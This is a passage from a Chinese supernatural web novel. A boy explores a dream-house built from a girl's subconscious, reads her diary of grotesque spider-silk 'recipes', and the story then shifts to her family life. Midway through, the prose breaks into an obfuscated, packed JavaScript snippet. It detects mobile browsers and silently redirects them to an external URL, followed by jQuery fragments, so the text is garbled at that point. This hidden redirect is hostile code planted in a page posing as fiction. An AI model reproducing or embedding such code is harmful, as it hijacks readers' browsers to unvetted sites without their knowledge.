三年级的祝穗礼不会用标点符号，一年级的祝穗礼自然秉承学渣本性。
她是个文盲。
经过幼儿园三年的吃喝玩乐，她掌握了多个简单以及超难字“穗”的书写，获得无数来自爸爸妈妈哥哥的夸奖，不过这不妨碍她是个大众意义上的文盲。
老师布置的家庭作业，她需要照模照样抄下来，回家让妈妈读一遍，解释给她听。
经过两个月一年级的洗礼，“祝禾嘉”三个字她勉强会写前两个字。
她想在书的扉页写上哥哥的名字，然后送给哥哥。
第三个字她不想用刚学且不熟练的拼音代替，她想了许久，最后取巧写了哥哥的另一个名字。
苗苗。
苗苗就是哥哥，哥哥就是苗苗。
她说服自己，如期将习题集送了出去。
那时候她们家三楼还是毛坯，祝圆圆出生以后，她彻底搬出爸妈的房间，在隔壁住下，与哥哥的房间是斜对角。
她扒在门边，盯住哥哥将她送的习题集放进抽屉，仔细记住抽屉的位置。
两周后，苦练多时的祝穗礼趁哥哥不在家，潜进他的房间，找出习题集，将扉页上的苗苗划掉，用尽全力，力求端正地在旁边写上“祝禾嘉”三个字。
*
随燕归看见扉页上丑丑的“苗苗”两字，没来得及想什么，下一秒，空气中仿佛有无形的笔在动，划掉了“苗苗”，想写点别的什么。
他屏住呼吸，无形之笔似乎在考虑什么，迟迟不肯落下第一笔。
他等了相当久的一段时间，久到脚边的傻狐狸闲得在刨他的鞋，将鞋的魔术贴撕开粘上，撕开粘上，“刺啦”“刺啦”玩得不亦乐乎。
无形之笔的笔尖有墨不断滴下来，洇湿了整页纸，最终染成墨黑的纸张上，显出一行红色的字：
【你要救我吗？】
黑底红字，十分具有冲击力。
哑巴小孩回答不了这个问题。
随燕归往后翻习题集，还是白底黑字看得舒服。
题册的主人一道题没写，后面几页干净得和新的一样。
他快速翻完，突然感觉有些不对，回到封面，上面书名占据大半空间——《三年高考五年模拟》。
他刚才拿到的可不是盗版书。
有什么在影响三楼的环境。
随燕归第一时间想到了在一楼睡觉的祝穗礼。
他回想一周前的风平浪静。
为什么三楼的蛛丝是等到她生病睡着以后，出来寻找猎物的？
随燕归抓不住脑袋里闪过的灵感，他强迫自己冷静下来，从头梳理。
这个世界里，暴雪封路，唯有一座小楼伫立，屋里唯一的主人毫无疑问世界的中心，他想恢复正常离开，必然是从屋主身上下手。
祝穗礼醒来吓退一切不正常生物的场景，如同慢镜头一帧一帧在他的脑海里回放。
如果说，他所在的世界里，是由屋主人的潜意识构成的呢？
通俗点形容，他所在的世界像是屋主正在做的一场梦。
梦境一切做梦主人的意志为基准，她是这个世界的造物主，她掌控这个世界起码是这栋楼里生物的生杀大权。
所以蛛丝会怕她。
至于蛛丝为什么不能毁灭得一干二净？
依照这个思路也好解释。
人不能想象没有见过的东西，每个人都有害怕的东西，没有几个人能控制住自身潜意识的轨迹。
“蛛丝”一定对她的心理产生了难以磨灭的影响。
她怕蛛丝，但也没那么怕它。
矛盾的心理博弈下，健康时她的理智占上风，三楼的东西不会出来。
生病和困意双重加持，她虚弱到一定程度，“蛛丝”会出来捕杀猎物，甚至左右她的梦境，她的想法，以至于修改这个世界吗？
那……
这些脏东西想让她梦到什么呢？
祝穗礼不可能永远不睡觉。
这一次叫醒她，还会有下一次。
随燕归的直觉催促他快一点，再快一点，在祝穗礼用梦境修改“现实”前，他想找点不一样的东西出来。
他改变策略，从够得着的地方开始往上翻，书桌书柜下面的柜子里，几个箱子摞起来，一摸一手灰，傻狐狸的白毛难免蹭到，变得灰扑扑的。
随燕归真找出来不少东西，一个带锁的箱子，一堆正经的课本题册中间夹杂着一本不正经的日记。
说是日记，他更想描述成一本乱七八糟的黑暗料理诞生日常。
【977年10月21日雨天
gouweicao，lazhu，生日dan糕，我的xin跳，lin□□的第一shu月光，tieguoshao半小时，加入zhu丝
爸爸妈妈会爱我吗？】
第一篇日记短短几个字，写得横七竖八，大半篇是拼音，随燕归在脑子里翻译了一下。
[狗尾草，蜡烛，生日蛋糕，我的心跳，零点的第一束月光，铁锅烧半小时，加入蛛丝
爸爸妈妈会爱我吗？]
第二篇日记变正常许多，拼音没有了，字写得好看许多。
【978年11月20日晴天
妹妹出生了。
一点点头发，两毫升眼泪，两勺蜂蜜，一升清晨的露水，缠满蛛丝的飞蛾，炖煮十分钟
妹妹会喜欢我吗？】
刚看完两篇，随燕归发现书房和隔壁之间的那堵墙在融化，蛛丝在侵蚀这幢楼。
不知道她在梦见了些什么……
他节省时间快速翻阅。
后面连续十几篇，日记主人都没有记录日常，而是写了些类似于“两片指甲，一根眼睫毛，五十毫升白酒，一只蜘蛛腿，化水煮两小时”这种奇奇怪怪的“菜谱”，写完也没像前两篇一样在最后一句表达一下感想。
连着翻了半本，终于让他找到带关键字的日记。
【984年4月1日雾天
一颗新生儿的眼珠，半斤新鲜的牛腩，两颗生姜，三个结茧的昆虫，加入若干水，小火慢炖三小时
（中间划掉涂黑一句话）】
随燕归算了算涂黑的长度，日记主人划掉了七到九个字。
XXX/XX会喜欢我吗？
他在心里代入了一下，字数上面有点像。
【988年9月9日晴天
两滴指尖血，两斤作业纸，一瓶白醋，一只拔掉腿的蜘蛛，加适量酱油，熬制两天
祝愿他们永远聪慧、开心】
后面记录的没有前面频繁，他很快翻到最后一页。
最后的三篇日记一眼扫下去，马上看完了。
【990年7月13日蝉鸣
一升腕间血，两片维生素，一颗鱼油，绕成茧的蛛丝，一只知了，一只蜘蛛】
【992年1月31日晴天
他们爱我】
【993年12月21日下雪
我，想结茧。
我要保存他们的爱。】
想……想什么？
随燕归条件反射地抬头，墙面融化了一半，缝隙里的蛛丝还在勤勤恳恳地做侵蚀工作。
隔壁房间的场景完全展露出来。
本来是床和床头柜的位置，已被一个顶到天花板的茧占据，另有无数的蛛丝铺在地面上慢慢蠕动。
偷懒的白狐瞬间进入警戒状态，它不一定对付得了这颗茧。
茧……
不对，蛛丝不会结茧，但二楼结的网确实像蛛网，这到底是什么什么东西？</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460539|169738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
随燕归想事情的时候，没了墙壁遮挡，蛛丝自然发现了他，惧怕于白狐的利爪，用围成的茧稍微动了动脑子，打算从侧面下手。
“砰砰砰。”蛛丝轻易推倒一堆他够不到的书籍，硬壳书封面的尖角砸在地板上，轻而易举地砸穿里面满是蛛丝的地板。
地板整块下陷，所有在地板上的东西一块滑落。
*
“你要救我吗？”
祝穗礼梦中惊醒，她梦见了一年级她送了一本高中习题集给哥哥。
她在扉页上修改了哥哥的名字，习题集至今好好保存在哥哥的抽屉里。
没有逻辑的梦里，她没能修改成名字，因为墨水浸透纸张，上面早已用红色笔写了：
你要救我吗？
她看的哪个鬼片恐怖片有这个情节吗？
五年级小学生祝穗礼放暑假不用上学，她拖上小狗拖鞋，打个哈欠下楼找早饭吃。
爸妈上班去了。
幼儿园大班的祝圆圆早早起床，在他的儿童房搭积木。
“哥哥，哥哥？哥哥！”
猫嫌狗憎的小孩一醒来就在找她的“安抚奶嘴”。
“祝圆圆，你在搭什么？”
找不到哥哥，她路过看见祝圆圆，上前揉乱他的头发，在他圆嘟嘟的脸上亲一口，咬一口。
六岁的祝圆圆尚处在可爱边缘，脸颊Q弹有肉，他默默地推开祝穗礼，防止她压塌他的积木。
因为祝圆圆不喜欢穿鞋，喜欢坐在地上玩这些东西，一楼儿童房的爬垫一直没撤。
祝圆圆和祝穗礼六岁时没有一点相似之处，祝穗礼蹲在旁边看他拼积木，感觉自己十年后也不会有耐心拼这个东西。
她有点近视，眼睛微眯，有些细小的零件她看不清。
没看一会儿，祝穗礼就不是很耐烦了，她把下巴搁到祝圆圆头上，换个角度继续看。
祝圆圆不烦她，但她的头有点重，“哥哥应该在卫生间。”
“是吗？”触发关键词的祝穗礼迅速抬头起身，“哥哥！”
他们家的卫生间男女分离，她和妈妈用二楼的，爸爸哥哥弟弟用一楼的。
“哥哥，你在里面吗？”她的小狗拖鞋一路踢踏过去。
炎炎夏日，早晨初露耀眼锋芒的阳光透过窗户照进来。
卫生间的门是关着的，她没听到应答声，刚想砰砰敲门，祝禾嘉开门出来。
门带起一阵风，一股阴冷潮湿，像雨后长蘑菇的土腥气泛上来。
祝禾嘉嘴唇泛白，站在阴影里开门的瞬间，她想到了电影里营造恐怖氛围的纸扎人。
“哥哥你拉屎好臭。”祝穗礼皱皱眉头说道。
祝禾嘉蓦地一笑，驱散阴冷，“你今天起这么早，是准备做暑假作业了吗？”
没有一点做作业想法的祝穗礼眼神飘忽，“早上我做噩梦了，我要吃腊香肠蛋炒饭。”
夏日的阳光拉得长长的，停留在祝禾嘉切香肠的手上。
哥哥腕上的电子表盘反射阳光，她看不清时间。
按下倍速键的时间将日复一日的无聊日常压缩成薄薄的书页，祝穗礼看到祝圆圆上了小学，哥哥去上大三，爸爸妈妈决定装修三楼让哥哥搬到楼上去。
装修很快完成，大四的哥哥独自占领三楼，祝圆圆搬进了哥哥的房间。
她坐在新房间里，看哥哥整理东西，冬日的阳光依旧灿烂。
祝穗礼问：“今年冬天会下雪吗？我想看雪，哥哥，爬虫市是不是很早就下雪了？”
“我回家前是下了。”眼下带点青的祝禾嘉不笑时，不像纸扎人，像僵尸。
上初一身高飙升、直逼一米七的祝穗礼站起来只比祝禾嘉矮一个头顶。
她说：“哥哥你别太累，我们会担心的。”